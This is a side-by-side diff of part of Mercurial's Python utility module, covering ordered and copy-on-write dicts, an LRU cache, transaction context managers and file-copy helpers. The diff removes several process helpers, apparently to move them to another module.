1115 >>> list(d2.keys()) # should still be in last-set order
1185 ['b', 'a']
1116 ['b', 'a']
1186 '''
1117 '''
1187
1118
1188 def __setitem__(self, key, value):
1119 def __setitem__(self, key, value):
1189 if key in self:
1120 if key in self:
1190 del self[key]
1121 del self[key]
1191 super(sortdict, self).__setitem__(key, value)
1122 super(sortdict, self).__setitem__(key, value)
1192
1123
1193 if pycompat.ispypy:
1124 if pycompat.ispypy:
1194 # __setitem__() isn't called as of PyPy 5.8.0
1125 # __setitem__() isn't called as of PyPy 5.8.0
1195 def update(self, src):
1126 def update(self, src):
1196 if isinstance(src, dict):
1127 if isinstance(src, dict):
1197 src = src.iteritems()
1128 src = src.iteritems()
1198 for k, v in src:
1129 for k, v in src:
1199 self[k] = v
1130 self[k] = v
1200
1131
1201 class cowdict(cow, dict):
1132 class cowdict(cow, dict):
1202 """copy-on-write dict
1133 """copy-on-write dict
1203
1134
1204 Be sure to call d = d.preparewrite() before writing to d.
1135 Be sure to call d = d.preparewrite() before writing to d.
1205
1136
1206 >>> a = cowdict()
1137 >>> a = cowdict()
1207 >>> a is a.preparewrite()
1138 >>> a is a.preparewrite()
1208 True
1139 True
1209 >>> b = a.copy()
1140 >>> b = a.copy()
1210 >>> b is a
1141 >>> b is a
1211 True
1142 True
1212 >>> c = b.copy()
1143 >>> c = b.copy()
1213 >>> c is a
1144 >>> c is a
1214 True
1145 True
1215 >>> a = a.preparewrite()
1146 >>> a = a.preparewrite()
1216 >>> b is a
1147 >>> b is a
1217 False
1148 False
1218 >>> a is a.preparewrite()
1149 >>> a is a.preparewrite()
1219 True
1150 True
1220 >>> c = c.preparewrite()
1151 >>> c = c.preparewrite()
1221 >>> b is c
1152 >>> b is c
1222 False
1153 False
1223 >>> b is b.preparewrite()
1154 >>> b is b.preparewrite()
1224 True
1155 True
1225 """
1156 """
1226
1157
1227 class cowsortdict(cow, sortdict):
1158 class cowsortdict(cow, sortdict):
1228 """copy-on-write sortdict
1159 """copy-on-write sortdict
1229
1160
1230 Be sure to call d = d.preparewrite() before writing to d.
1161 Be sure to call d = d.preparewrite() before writing to d.
1231 """
1162 """
1232
1163
1233 class transactional(object):
1164 class transactional(object):
1234 """Base class for making a transactional type into a context manager."""
1165 """Base class for making a transactional type into a context manager."""
1235 __metaclass__ = abc.ABCMeta
1166 __metaclass__ = abc.ABCMeta
1236
1167
1237 @abc.abstractmethod
1168 @abc.abstractmethod
1238 def close(self):
1169 def close(self):
1239 """Successfully closes the transaction."""
1170 """Successfully closes the transaction."""
1240
1171
1241 @abc.abstractmethod
1172 @abc.abstractmethod
1242 def release(self):
1173 def release(self):
1243 """Marks the end of the transaction.
1174 """Marks the end of the transaction.
1244
1175
1245 If the transaction has not been closed, it will be aborted.
1176 If the transaction has not been closed, it will be aborted.
1246 """
1177 """
1247
1178
1248 def __enter__(self):
1179 def __enter__(self):
1249 return self
1180 return self
1250
1181
1251 def __exit__(self, exc_type, exc_val, exc_tb):
1182 def __exit__(self, exc_type, exc_val, exc_tb):
1252 try:
1183 try:
1253 if exc_type is None:
1184 if exc_type is None:
1254 self.close()
1185 self.close()
1255 finally:
1186 finally:
1256 self.release()
1187 self.release()
1257
1188
1258 @contextlib.contextmanager
1189 @contextlib.contextmanager
1259 def acceptintervention(tr=None):
1190 def acceptintervention(tr=None):
1260 """A context manager that closes the transaction on InterventionRequired
1191 """A context manager that closes the transaction on InterventionRequired
1261
1192
1262 If no transaction was provided, this simply runs the body and returns
1193 If no transaction was provided, this simply runs the body and returns
1263 """
1194 """
1264 if not tr:
1195 if not tr:
1265 yield
1196 yield
1266 return
1197 return
1267 try:
1198 try:
1268 yield
1199 yield
1269 tr.close()
1200 tr.close()
1270 except error.InterventionRequired:
1201 except error.InterventionRequired:
1271 tr.close()
1202 tr.close()
1272 raise
1203 raise
1273 finally:
1204 finally:
1274 tr.release()
1205 tr.release()
1275
1206
1276 @contextlib.contextmanager
1207 @contextlib.contextmanager
1277 def nullcontextmanager():
1208 def nullcontextmanager():
1278 yield
1209 yield
1279
1210
1280 class _lrucachenode(object):
1211 class _lrucachenode(object):
1281 """A node in a doubly linked list.
1212 """A node in a doubly linked list.
1282
1213
1283 Holds a reference to nodes on either side as well as a key-value
1214 Holds a reference to nodes on either side as well as a key-value
1284 pair for the dictionary entry.
1215 pair for the dictionary entry.
1285 """
1216 """
1286 __slots__ = (u'next', u'prev', u'key', u'value')
1217 __slots__ = (u'next', u'prev', u'key', u'value')
1287
1218
1288 def __init__(self):
1219 def __init__(self):
1289 self.next = None
1220 self.next = None
1290 self.prev = None
1221 self.prev = None
1291
1222
1292 self.key = _notset
1223 self.key = _notset
1293 self.value = None
1224 self.value = None
1294
1225
1295 def markempty(self):
1226 def markempty(self):
1296 """Mark the node as emptied."""
1227 """Mark the node as emptied."""
1297 self.key = _notset
1228 self.key = _notset
1298
1229
1299 class lrucachedict(object):
1230 class lrucachedict(object):
1300 """Dict that caches most recent accesses and sets.
1231 """Dict that caches most recent accesses and sets.
1301
1232
1302 The dict consists of an actual backing dict - indexed by original
1233 The dict consists of an actual backing dict - indexed by original
1303 key - and a doubly linked circular list defining the order of entries in
1234 key - and a doubly linked circular list defining the order of entries in
1304 the cache.
1235 the cache.
1305
1236
1306 The head node is the newest entry in the cache. If the cache is full,
1237 The head node is the newest entry in the cache. If the cache is full,
1307 we recycle head.prev and make it the new head. Cache accesses result in
1238 we recycle head.prev and make it the new head. Cache accesses result in
1308 the node being moved to before the existing head and being marked as the
1239 the node being moved to before the existing head and being marked as the
1309 new head node.
1240 new head node.
1310 """
1241 """
1311 def __init__(self, max):
1242 def __init__(self, max):
1312 self._cache = {}
1243 self._cache = {}
1313
1244
1314 self._head = head = _lrucachenode()
1245 self._head = head = _lrucachenode()
1315 head.prev = head
1246 head.prev = head
1316 head.next = head
1247 head.next = head
1317 self._size = 1
1248 self._size = 1
1318 self._capacity = max
1249 self._capacity = max
1319
1250
1320 def __len__(self):
1251 def __len__(self):
1321 return len(self._cache)
1252 return len(self._cache)
1322
1253
1323 def __contains__(self, k):
1254 def __contains__(self, k):
1324 return k in self._cache
1255 return k in self._cache
1325
1256
1326 def __iter__(self):
1257 def __iter__(self):
1327 # We don't have to iterate in cache order, but why not.
1258 # We don't have to iterate in cache order, but why not.
1328 n = self._head
1259 n = self._head
1329 for i in range(len(self._cache)):
1260 for i in range(len(self._cache)):
1330 yield n.key
1261 yield n.key
1331 n = n.next
1262 n = n.next
1332
1263
1333 def __getitem__(self, k):
1264 def __getitem__(self, k):
1334 node = self._cache[k]
1265 node = self._cache[k]
1335 self._movetohead(node)
1266 self._movetohead(node)
1336 return node.value
1267 return node.value
1337
1268
1338 def __setitem__(self, k, v):
1269 def __setitem__(self, k, v):
1339 node = self._cache.get(k)
1270 node = self._cache.get(k)
1340 # Replace existing value and mark as newest.
1271 # Replace existing value and mark as newest.
1341 if node is not None:
1272 if node is not None:
1342 node.value = v
1273 node.value = v
1343 self._movetohead(node)
1274 self._movetohead(node)
1344 return
1275 return
1345
1276
1346 if self._size < self._capacity:
1277 if self._size < self._capacity:
1347 node = self._addcapacity()
1278 node = self._addcapacity()
1348 else:
1279 else:
1349 # Grab the last/oldest item.
1280 # Grab the last/oldest item.
1350 node = self._head.prev
1281 node = self._head.prev
1351
1282
1352 # At capacity. Kill the old entry.
1283 # At capacity. Kill the old entry.
1353 if node.key is not _notset:
1284 if node.key is not _notset:
1354 del self._cache[node.key]
1285 del self._cache[node.key]
1355
1286
1356 node.key = k
1287 node.key = k
1357 node.value = v
1288 node.value = v
1358 self._cache[k] = node
1289 self._cache[k] = node
1359 # And mark it as newest entry. No need to adjust order since it
1290 # And mark it as newest entry. No need to adjust order since it
1360 # is already self._head.prev.
1291 # is already self._head.prev.
1361 self._head = node
1292 self._head = node
1362
1293
1363 def __delitem__(self, k):
1294 def __delitem__(self, k):
1364 node = self._cache.pop(k)
1295 node = self._cache.pop(k)
1365 node.markempty()
1296 node.markempty()
1366
1297
1367 # Temporarily mark as newest item before re-adjusting head to make
1298 # Temporarily mark as newest item before re-adjusting head to make
1368 # this node the oldest item.
1299 # this node the oldest item.
1369 self._movetohead(node)
1300 self._movetohead(node)
1370 self._head = node.next
1301 self._head = node.next
1371
1302
1372 # Additional dict methods.
1303 # Additional dict methods.
1373
1304
1374 def get(self, k, default=None):
1305 def get(self, k, default=None):
1375 try:
1306 try:
1376 return self._cache[k].value
1307 return self._cache[k].value
1377 except KeyError:
1308 except KeyError:
1378 return default
1309 return default
1379
1310
1380 def clear(self):
1311 def clear(self):
1381 n = self._head
1312 n = self._head
1382 while n.key is not _notset:
1313 while n.key is not _notset:
1383 n.markempty()
1314 n.markempty()
1384 n = n.next
1315 n = n.next
1385
1316
1386 self._cache.clear()
1317 self._cache.clear()
1387
1318
1388 def copy(self):
1319 def copy(self):
1389 result = lrucachedict(self._capacity)
1320 result = lrucachedict(self._capacity)
1390 n = self._head.prev
1321 n = self._head.prev
1391 # Iterate in oldest-to-newest order, so the copy has the right ordering
1322 # Iterate in oldest-to-newest order, so the copy has the right ordering
1392 for i in range(len(self._cache)):
1323 for i in range(len(self._cache)):
1393 result[n.key] = n.value
1324 result[n.key] = n.value
1394 n = n.prev
1325 n = n.prev
1395 return result
1326 return result
1396
1327
1397 def _movetohead(self, node):
1328 def _movetohead(self, node):
1398 """Mark a node as the newest, making it the new head.
1329 """Mark a node as the newest, making it the new head.
1399
1330
1400 When a node is accessed, it becomes the freshest entry in the LRU
1331 When a node is accessed, it becomes the freshest entry in the LRU
1401 list, which is denoted by self._head.
1332 list, which is denoted by self._head.
1402
1333
1403 Visually, let's make ``N`` the new head node (* denotes head):
1334 Visually, let's make ``N`` the new head node (* denotes head):
1404
1335
1405 previous/oldest <-> head <-> next/next newest
1336 previous/oldest <-> head <-> next/next newest
1406
1337
1407 ----<->--- A* ---<->-----
1338 ----<->--- A* ---<->-----
1408 | |
1339 | |
1409 E <-> D <-> N <-> C <-> B
1340 E <-> D <-> N <-> C <-> B
1410
1341
1411 To:
1342 To:
1412
1343
1413 ----<->--- N* ---<->-----
1344 ----<->--- N* ---<->-----
1414 | |
1345 | |
1415 E <-> D <-> C <-> B <-> A
1346 E <-> D <-> C <-> B <-> A
1416
1347
1417 This requires the following moves:
1348 This requires the following moves:
1418
1349
1419 C.next = D (node.prev.next = node.next)
1350 C.next = D (node.prev.next = node.next)
1420 D.prev = C (node.next.prev = node.prev)
1351 D.prev = C (node.next.prev = node.prev)
1421 E.next = N (head.prev.next = node)
1352 E.next = N (head.prev.next = node)
1422 N.prev = E (node.prev = head.prev)
1353 N.prev = E (node.prev = head.prev)
1423 N.next = A (node.next = head)
1354 N.next = A (node.next = head)
1424 A.prev = N (head.prev = node)
1355 A.prev = N (head.prev = node)
1425 """
1356 """
1426 head = self._head
1357 head = self._head
1427 # C.next = D
1358 # C.next = D
1428 node.prev.next = node.next
1359 node.prev.next = node.next
1429 # D.prev = C
1360 # D.prev = C
1430 node.next.prev = node.prev
1361 node.next.prev = node.prev
1431 # N.prev = E
1362 # N.prev = E
1432 node.prev = head.prev
1363 node.prev = head.prev
1433 # N.next = A
1364 # N.next = A
1434 # It is tempting to do just "head" here, however if node is
1365 # It is tempting to do just "head" here, however if node is
1435 # adjacent to head, this will do bad things.
1366 # adjacent to head, this will do bad things.
1436 node.next = head.prev.next
1367 node.next = head.prev.next
1437 # E.next = N
1368 # E.next = N
1438 node.next.prev = node
1369 node.next.prev = node
1439 # A.prev = N
1370 # A.prev = N
1440 node.prev.next = node
1371 node.prev.next = node
1441
1372
1442 self._head = node
1373 self._head = node
1443
1374
1444 def _addcapacity(self):
1375 def _addcapacity(self):
1445 """Add a node to the circular linked list.
1376 """Add a node to the circular linked list.
1446
1377
1447 The new node is inserted before the head node.
1378 The new node is inserted before the head node.
1448 """
1379 """
1449 head = self._head
1380 head = self._head
1450 node = _lrucachenode()
1381 node = _lrucachenode()
1451 head.prev.next = node
1382 head.prev.next = node
1452 node.prev = head.prev
1383 node.prev = head.prev
1453 node.next = head
1384 node.next = head
1454 head.prev = node
1385 head.prev = node
1455 self._size += 1
1386 self._size += 1
1456 return node
1387 return node
1457
1388
1458 def lrucachefunc(func):
1389 def lrucachefunc(func):
1459 '''cache most recent results of function calls'''
1390 '''cache most recent results of function calls'''
1460 cache = {}
1391 cache = {}
1461 order = collections.deque()
1392 order = collections.deque()
1462 if func.__code__.co_argcount == 1:
1393 if func.__code__.co_argcount == 1:
1463 def f(arg):
1394 def f(arg):
1464 if arg not in cache:
1395 if arg not in cache:
1465 if len(cache) > 20:
1396 if len(cache) > 20:
1466 del cache[order.popleft()]
1397 del cache[order.popleft()]
1467 cache[arg] = func(arg)
1398 cache[arg] = func(arg)
1468 else:
1399 else:
1469 order.remove(arg)
1400 order.remove(arg)
1470 order.append(arg)
1401 order.append(arg)
1471 return cache[arg]
1402 return cache[arg]
1472 else:
1403 else:
1473 def f(*args):
1404 def f(*args):
1474 if args not in cache:
1405 if args not in cache:
1475 if len(cache) > 20:
1406 if len(cache) > 20:
1476 del cache[order.popleft()]
1407 del cache[order.popleft()]
1477 cache[args] = func(*args)
1408 cache[args] = func(*args)
1478 else:
1409 else:
1479 order.remove(args)
1410 order.remove(args)
1480 order.append(args)
1411 order.append(args)
1481 return cache[args]
1412 return cache[args]
1482
1413
1483 return f
1414 return f
1484
1415
1485 class propertycache(object):
1416 class propertycache(object):
1486 def __init__(self, func):
1417 def __init__(self, func):
1487 self.func = func
1418 self.func = func
1488 self.name = func.__name__
1419 self.name = func.__name__
1489 def __get__(self, obj, type=None):
1420 def __get__(self, obj, type=None):
1490 result = self.func(obj)
1421 result = self.func(obj)
1491 self.cachevalue(obj, result)
1422 self.cachevalue(obj, result)
1492 return result
1423 return result
1493
1424
1494 def cachevalue(self, obj, value):
1425 def cachevalue(self, obj, value):
1495 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1426 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1496 obj.__dict__[self.name] = value
1427 obj.__dict__[self.name] = value
1497
1428
1498 def clearcachedproperty(obj, prop):
1429 def clearcachedproperty(obj, prop):
1499 '''clear a cached property value, if one has been set'''
1430 '''clear a cached property value, if one has been set'''
1500 if prop in obj.__dict__:
1431 if prop in obj.__dict__:
1501 del obj.__dict__[prop]
1432 del obj.__dict__[prop]
1502
1433
1503 def pipefilter(s, cmd):
1504 '''filter string S through command CMD, returning its output'''
1505 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1506 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1507 pout, perr = p.communicate(s)
1508 return pout
1509
1510 def tempfilter(s, cmd):
1511 '''filter string S through a pair of temporary files with CMD.
1512 CMD is used as a template to create the real command to be run,
1513 with the strings INFILE and OUTFILE replaced by the real names of
1514 the temporary files generated.'''
1515 inname, outname = None, None
1516 try:
1517 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1518 fp = os.fdopen(infd, r'wb')
1519 fp.write(s)
1520 fp.close()
1521 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1522 os.close(outfd)
1523 cmd = cmd.replace('INFILE', inname)
1524 cmd = cmd.replace('OUTFILE', outname)
1525 code = os.system(cmd)
1526 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1527 code = 0
1528 if code:
1529 raise error.Abort(_("command '%s' failed: %s") %
1530 (cmd, explainexit(code)))
1531 with open(outname, 'rb') as fp:
1532 return fp.read()
1533 finally:
1534 try:
1535 if inname:
1536 os.unlink(inname)
1537 except OSError:
1538 pass
1539 try:
1540 if outname:
1541 os.unlink(outname)
1542 except OSError:
1543 pass
1544
1545 _filtertable = {
1546 'tempfile:': tempfilter,
1547 'pipe:': pipefilter,
1548 }
1549
1550 def filter(s, cmd):
1551 "filter a string through a command that transforms its input to its output"
1552 for name, fn in _filtertable.iteritems():
1553 if cmd.startswith(name):
1554 return fn(s, cmd[len(name):].lstrip())
1555 return pipefilter(s, cmd)
1556
1557 def increasingchunks(source, min=1024, max=65536):
1434 def increasingchunks(source, min=1024, max=65536):
1558 '''return no less than min bytes per chunk while data remains,
1435 '''return no less than min bytes per chunk while data remains,
1559 doubling min after each chunk until it reaches max'''
1436 doubling min after each chunk until it reaches max'''
1560 def log2(x):
1437 def log2(x):
1561 if not x:
1438 if not x:
1562 return 0
1439 return 0
1563 i = 0
1440 i = 0
1564 while x:
1441 while x:
1565 x >>= 1
1442 x >>= 1
1566 i += 1
1443 i += 1
1567 return i - 1
1444 return i - 1
1568
1445
1569 buf = []
1446 buf = []
1570 blen = 0
1447 blen = 0
1571 for chunk in source:
1448 for chunk in source:
1572 buf.append(chunk)
1449 buf.append(chunk)
1573 blen += len(chunk)
1450 blen += len(chunk)
1574 if blen >= min:
1451 if blen >= min:
1575 if min < max:
1452 if min < max:
1576 min = min << 1
1453 min = min << 1
1577 nmin = 1 << log2(blen)
1454 nmin = 1 << log2(blen)
1578 if nmin > min:
1455 if nmin > min:
1579 min = nmin
1456 min = nmin
1580 if min > max:
1457 if min > max:
1581 min = max
1458 min = max
1582 yield ''.join(buf)
1459 yield ''.join(buf)
1583 blen = 0
1460 blen = 0
1584 buf = []
1461 buf = []
1585 if buf:
1462 if buf:
1586 yield ''.join(buf)
1463 yield ''.join(buf)
1587
1464
1588 def always(fn):
1465 def always(fn):
1589 return True
1466 return True
1590
1467
1591 def never(fn):
1468 def never(fn):
1592 return False
1469 return False
1593
1470
1594 def nogc(func):
1471 def nogc(func):
1595 """disable garbage collector
1472 """disable garbage collector
1596
1473
1597 Python's garbage collector triggers a GC each time a certain number of
1474 Python's garbage collector triggers a GC each time a certain number of
1598 container objects (the number being defined by gc.get_threshold()) are
1475 container objects (the number being defined by gc.get_threshold()) are
1599 allocated even when marked not to be tracked by the collector. Tracking has
1476 allocated even when marked not to be tracked by the collector. Tracking has
1600 no effect on when GCs are triggered, only on what objects the GC looks
1477 no effect on when GCs are triggered, only on what objects the GC looks
1601 into. As a workaround, disable GC while building complex (huge)
1478 into. As a workaround, disable GC while building complex (huge)
1602 containers.
1479 containers.
1603
1480
1604 This garbage collector issue have been fixed in 2.7. But it still affect
1481 This garbage collector issue have been fixed in 2.7. But it still affect
1605 CPython's performance.
1482 CPython's performance.
1606 """
1483 """
1607 def wrapper(*args, **kwargs):
1484 def wrapper(*args, **kwargs):
1608 gcenabled = gc.isenabled()
1485 gcenabled = gc.isenabled()
1609 gc.disable()
1486 gc.disable()
1610 try:
1487 try:
1611 return func(*args, **kwargs)
1488 return func(*args, **kwargs)
1612 finally:
1489 finally:
1613 if gcenabled:
1490 if gcenabled:
1614 gc.enable()
1491 gc.enable()
1615 return wrapper
1492 return wrapper
1616
1493
1617 if pycompat.ispypy:
1494 if pycompat.ispypy:
1618 # PyPy runs slower with gc disabled
1495 # PyPy runs slower with gc disabled
1619 nogc = lambda x: x
1496 nogc = lambda x: x
1620
1497
1621 def pathto(root, n1, n2):
1498 def pathto(root, n1, n2):
1622 '''return the relative path from one place to another.
1499 '''return the relative path from one place to another.
1623 root should use os.sep to separate directories
1500 root should use os.sep to separate directories
1624 n1 should use os.sep to separate directories
1501 n1 should use os.sep to separate directories
1625 n2 should use "/" to separate directories
1502 n2 should use "/" to separate directories
1626 returns an os.sep-separated path.
1503 returns an os.sep-separated path.
1627
1504
1628 If n1 is a relative path, it's assumed it's
1505 If n1 is a relative path, it's assumed it's
1629 relative to root.
1506 relative to root.
1630 n2 should always be relative to root.
1507 n2 should always be relative to root.
1631 '''
1508 '''
1632 if not n1:
1509 if not n1:
1633 return localpath(n2)
1510 return localpath(n2)
1634 if os.path.isabs(n1):
1511 if os.path.isabs(n1):
1635 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1512 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1636 return os.path.join(root, localpath(n2))
1513 return os.path.join(root, localpath(n2))
1637 n2 = '/'.join((pconvert(root), n2))
1514 n2 = '/'.join((pconvert(root), n2))
1638 a, b = splitpath(n1), n2.split('/')
1515 a, b = splitpath(n1), n2.split('/')
1639 a.reverse()
1516 a.reverse()
1640 b.reverse()
1517 b.reverse()
1641 while a and b and a[-1] == b[-1]:
1518 while a and b and a[-1] == b[-1]:
1642 a.pop()
1519 a.pop()
1643 b.pop()
1520 b.pop()
1644 b.reverse()
1521 b.reverse()
1645 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1522 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1646
1523
1647 def mainfrozen():
1648 """return True if we are a frozen executable.
1649
1650 The code supports py2exe (most common, Windows only) and tools/freeze
1651 (portable, not much used).
1652 """
1653 return (safehasattr(sys, "frozen") or # new py2exe
1654 safehasattr(sys, "importers") or # old py2exe
1655 imp.is_frozen(u"__main__")) # tools/freeze
1656
1657 # the location of data files matching the source code
1524 # the location of data files matching the source code
1658 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1525 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1659 # executable version (py2exe) doesn't support __file__
1526 # executable version (py2exe) doesn't support __file__
1660 datapath = os.path.dirname(pycompat.sysexecutable)
1527 datapath = os.path.dirname(pycompat.sysexecutable)
1661 else:
1528 else:
1662 datapath = os.path.dirname(pycompat.fsencode(__file__))
1529 datapath = os.path.dirname(pycompat.fsencode(__file__))
1663
1530
1664 i18n.setdatapath(datapath)
1531 i18n.setdatapath(datapath)
1665
1532
1666 _hgexecutable = None
1667
1668 def hgexecutable():
1669 """return location of the 'hg' executable.
1670
1671 Defaults to $HG or 'hg' in the search path.
1672 """
1673 if _hgexecutable is None:
1674 hg = encoding.environ.get('HG')
1675 mainmod = sys.modules[r'__main__']
1676 if hg:
1677 _sethgexecutable(hg)
1678 elif mainfrozen():
1679 if getattr(sys, 'frozen', None) == 'macosx_app':
1680 # Env variable set by py2app
1681 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1682 else:
1683 _sethgexecutable(pycompat.sysexecutable)
1684 elif (os.path.basename(
1685 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1686 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1687 else:
1688 exe = findexe('hg') or os.path.basename(sys.argv[0])
1689 _sethgexecutable(exe)
1690 return _hgexecutable
1691
1692 def _sethgexecutable(path):
1693 """set location of the 'hg' executable"""
1694 global _hgexecutable
1695 _hgexecutable = path
1696
1697 def _testfileno(f, stdf):
1698 fileno = getattr(f, 'fileno', None)
1699 try:
1700 return fileno and fileno() == stdf.fileno()
1701 except io.UnsupportedOperation:
1702 return False # fileno() raised UnsupportedOperation
1703
1704 def isstdin(f):
1705 return _testfileno(f, sys.__stdin__)
1706
1707 def isstdout(f):
1708 return _testfileno(f, sys.__stdout__)
1709
1710 def shellenviron(environ=None):
1711 """return environ with optional override, useful for shelling out"""
1712 def py2shell(val):
1713 'convert python object into string that is useful to shell'
1714 if val is None or val is False:
1715 return '0'
1716 if val is True:
1717 return '1'
1718 return pycompat.bytestr(val)
1719 env = dict(encoding.environ)
1720 if environ:
1721 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1722 env['HG'] = hgexecutable()
1723 return env
1724
1725 def system(cmd, environ=None, cwd=None, out=None):
1726 '''enhanced shell command execution.
1727 run with environment maybe modified, maybe in different dir.
1728
1729 if out is specified, it is assumed to be a file-like object that has a
1730 write() method. stdout and stderr will be redirected to out.'''
1731 try:
1732 stdout.flush()
1733 except Exception:
1734 pass
1735 cmd = quotecommand(cmd)
1736 env = shellenviron(environ)
1737 if out is None or isstdout(out):
1738 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1739 env=env, cwd=cwd)
1740 else:
1741 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1742 env=env, cwd=cwd, stdout=subprocess.PIPE,
1743 stderr=subprocess.STDOUT)
1744 for line in iter(proc.stdout.readline, ''):
1745 out.write(line)
1746 proc.wait()
1747 rc = proc.returncode
1748 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1749 rc = 0
1750 return rc
1751
1752 def checksignature(func):
1533 def checksignature(func):
1753 '''wrap a function with code to check for calling errors'''
1534 '''wrap a function with code to check for calling errors'''
1754 def check(*args, **kwargs):
1535 def check(*args, **kwargs):
1755 try:
1536 try:
1756 return func(*args, **kwargs)
1537 return func(*args, **kwargs)
1757 except TypeError:
1538 except TypeError:
1758 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1539 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1759 raise error.SignatureError
1540 raise error.SignatureError
1760 raise
1541 raise
1761
1542
1762 return check
1543 return check
1763
1544
1764 # a whilelist of known filesystems where hardlink works reliably
1545 # a whilelist of known filesystems where hardlink works reliably
1765 _hardlinkfswhitelist = {
1546 _hardlinkfswhitelist = {
1766 'btrfs',
1547 'btrfs',
1767 'ext2',
1548 'ext2',
1768 'ext3',
1549 'ext3',
1769 'ext4',
1550 'ext4',
1770 'hfs',
1551 'hfs',
1771 'jfs',
1552 'jfs',
1772 'NTFS',
1553 'NTFS',
1773 'reiserfs',
1554 'reiserfs',
1774 'tmpfs',
1555 'tmpfs',
1775 'ufs',
1556 'ufs',
1776 'xfs',
1557 'xfs',
1777 'zfs',
1558 'zfs',
1778 }
1559 }
1779
1560
1780 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1561 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1781 '''copy a file, preserving mode and optionally other stat info like
1562 '''copy a file, preserving mode and optionally other stat info like
1782 atime/mtime
1563 atime/mtime
1783
1564
1784 checkambig argument is used with filestat, and is useful only if
1565 checkambig argument is used with filestat, and is useful only if
1785 destination file is guarded by any lock (e.g. repo.lock or
1566 destination file is guarded by any lock (e.g. repo.lock or
1786 repo.wlock).
1567 repo.wlock).
1787
1568
1788 copystat and checkambig should be exclusive.
1569 copystat and checkambig should be exclusive.
1789 '''
1570 '''
1790 assert not (copystat and checkambig)
1571 assert not (copystat and checkambig)
1791 oldstat = None
1572 oldstat = None
1792 if os.path.lexists(dest):
1573 if os.path.lexists(dest):
1793 if checkambig:
1574 if checkambig:
1794 oldstat = checkambig and filestat.frompath(dest)
1575 oldstat = checkambig and filestat.frompath(dest)
1795 unlink(dest)
1576 unlink(dest)
1796 if hardlink:
1577 if hardlink:
1797 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1578 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1798 # unless we are confident that dest is on a whitelisted filesystem.
1579 # unless we are confident that dest is on a whitelisted filesystem.
1799 try:
1580 try:
1800 fstype = getfstype(os.path.dirname(dest))
1581 fstype = getfstype(os.path.dirname(dest))
1801 except OSError:
1582 except OSError:
1802 fstype = None
1583 fstype = None
1803 if fstype not in _hardlinkfswhitelist:
1584 if fstype not in _hardlinkfswhitelist:
1804 hardlink = False
1585 hardlink = False
1805 if hardlink:
1586 if hardlink:
1806 try:
1587 try:
1807 oslink(src, dest)
1588 oslink(src, dest)
1808 return
1589 return
1809 except (IOError, OSError):
1590 except (IOError, OSError):
1810 pass # fall back to normal copy
1591 pass # fall back to normal copy
1811 if os.path.islink(src):
1592 if os.path.islink(src):
1812 os.symlink(os.readlink(src), dest)
1593 os.symlink(os.readlink(src), dest)
1813 # copytime is ignored for symlinks, but in general copytime isn't needed
1594 # copytime is ignored for symlinks, but in general copytime isn't needed
1814 # for them anyway
1595 # for them anyway
1815 else:
1596 else:
1816 try:
1597 try:
1817 shutil.copyfile(src, dest)
1598 shutil.copyfile(src, dest)
1818 if copystat:
1599 if copystat:
1819 # copystat also copies mode
1600 # copystat also copies mode
1820 shutil.copystat(src, dest)
1601 shutil.copystat(src, dest)
1821 else:
1602 else:
1822 shutil.copymode(src, dest)
1603 shutil.copymode(src, dest)
1823 if oldstat and oldstat.stat:
1604 if oldstat and oldstat.stat:
1824 newstat = filestat.frompath(dest)
1605 newstat = filestat.frompath(dest)
1825 if newstat.isambig(oldstat):
1606 if newstat.isambig(oldstat):
1826 # stat of copied file is ambiguous to original one
1607 # stat of copied file is ambiguous to original one
1827 advanced = (
1608 advanced = (
1828 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1609 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1829 os.utime(dest, (advanced, advanced))
1610 os.utime(dest, (advanced, advanced))
1830 except shutil.Error as inst:
1611 except shutil.Error as inst:
1831 raise error.Abort(str(inst))
1612 raise error.Abort(str(inst))
1832
1613
1833 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1614 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1834 """Copy a directory tree using hardlinks if possible."""
1615 """Copy a directory tree using hardlinks if possible."""
1835 num = 0
1616 num = 0
1836
1617
1837 gettopic = lambda: hardlink and _('linking') or _('copying')
1618 gettopic = lambda: hardlink and _('linking') or _('copying')
1838
1619
1839 if os.path.isdir(src):
1620 if os.path.isdir(src):
1840 if hardlink is None:
1621 if hardlink is None:
1841 hardlink = (os.stat(src).st_dev ==
1622 hardlink = (os.stat(src).st_dev ==
1842 os.stat(os.path.dirname(dst)).st_dev)
1623 os.stat(os.path.dirname(dst)).st_dev)
1843 topic = gettopic()
1624 topic = gettopic()
1844 os.mkdir(dst)
1625 os.mkdir(dst)
1845 for name, kind in listdir(src):
1626 for name, kind in listdir(src):
1846 srcname = os.path.join(src, name)
1627 srcname = os.path.join(src, name)
1847 dstname = os.path.join(dst, name)
1628 dstname = os.path.join(dst, name)
1848 def nprog(t, pos):
1629 def nprog(t, pos):
1849 if pos is not None:
1630 if pos is not None:
1850 return progress(t, pos + num)
1631 return progress(t, pos + num)
